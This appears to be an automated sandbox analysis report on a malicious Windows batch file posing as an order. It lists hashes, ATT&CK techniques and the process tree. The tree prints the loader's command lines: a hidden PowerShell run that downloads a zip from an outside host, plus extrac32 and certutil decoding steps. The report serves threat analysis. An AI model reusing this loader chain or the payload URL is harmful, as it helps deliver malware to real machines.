00af29c760559eb55fe48817667ff019733343788fbf5437a066f2d288fb613f

Analysis

max time kernel
299s
max time network
242s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 15:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
K-order 2026 -10490-10092026.bat
Size 406KB
Sample260910-svfa5stxgw
SHA256 00af29c760559eb55fe48817667ff019733343788fbf5437a066f2d288fb613f
MD5 8cde2c2a1ea75ac147d7c1e4a97b6515
SHA1 fe60aba81aafcec105350c4fc17f7264e42f4127
SHA512 38a1c216eb13d6f61ca4904e4bc4a62e5425012b064a10caeb53e248849bbba610acefd08b491089d94f573cb3974dd0bec42adb8d8426830da3fe266fb43601
SSDEEP 12288:gMTj83+UGutpaK/a5YR1Y9jYjzw/x84Nl:dUPtIEGYRSyjzYxvr
TLSH
T1319401D067AE3D8F710091A75E8E90F021AEC3BE4C432CDAA95F65F426E35B4FE46854
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2132	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1548	ript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
5996	certutil.exe
4648	certutil.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2672	cmd.exe
5160	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2132	powershell.exe
2132	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 5160	2672	cmd.exe	89
PID 5160 wrote to memory of 3464	5160	cmd.exe	91
PID 2672 wrote to memory of 2132	2672	cmd.exe	92
PID 2132 wrote to memory of 1548	2132	powershell.exe	93
PID 2672 wrote to memory of 5996	2672	cmd.exe	95
PID 2672 wrote to memory of 4648	2672	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\K-order 2026 -10490-10092026.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\system32\cmd.exe
  cmd /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5160
- - C:\Windows\system32\extrac32.exe
    extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
    3⤵
    PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\Users\Admin\AppData\Local\Temp\\ript.exe C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Users\Admin\AppData\Local\Temp\ript.exe
    "C:\Users\Admin\AppData\Local\Temp\ript.exe" C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip
    3⤵
    - Executes dropped EXE
    PID:1548
- C:\Windows\system32\certutil.exe
  certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp1.txt" "C:\Users\Admin\AppData\Local\Temp\env\libtcc.ini"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:5996
- C:\Windows\system32\certutil.exe
  certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp2.txt" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:4648

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

aloha.vbs

Path C:\Users\Admin\AppData\Local\Temp\aloha.vbs
Size 194B
SHA256 08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898
MD5 71efa4ec6c67fa5665b1d0c64d60fc25
SHA1 f546eda2b94df327b7ad5fa5bb0ba20cd37b2623
SHA512 7b1bbbb23e21cd011964397860b1cf5bdebbd20b6b3d5317c13ff5b3bdb0223a51c036be2b730254c11725a69c34ab90d2ae24872af788e076914364a82b31d6
TLSH
T104C02218E442C0C20702E64361718E03D280886513406A222685D9DB9509A0FCD1E2A3
MD5 SHA1 SHA512 TLSH

Submit Download

ript.exe

Path C:\Users\Admin\AppData\Local\Temp\ript.exe
Size 184KB
SHA256 7b3973fc3d78340af8dceec0cf8b626046eb4e36dcacca5f8164b39945f1c9df
MD5 f9d16f6a7b44d0e272f2b072eef2c40a
SHA1 bc74ae3c8df19d88c7a23b4d0b7d3526d6046362
SHA512 9ad38cbea2c68514ba824dc7f375189a05cf6a839212223ca098c9f54ef144c4b92e5c2bb072d43fd751ae7f9fb1fed6d323fbad60ce2dce397b8eb8d992754c
SSDEEP 3072:eeQ94lCMhOND74L0Xkt92AVWeFNCCs8cCGXfeV6IZxtt:eL4oMKD74L0XyVWeFNCCoTfUfZh
TLSH
T18304074A33E490D5E17A623C89564685EB7278352B2267DF13D482BE5F33BD87C38B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2132-9-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-4-0x00007FF903B0F000-0x00007FF903B10000-memory.dmp

Download

memory/2132-10-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-11-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-13-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-5-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-14-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-8-0x000001C7EAC00000-0x000001C7EAC22000-memory.dmp

Download

memory/2132-20-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-21-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2132-26-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download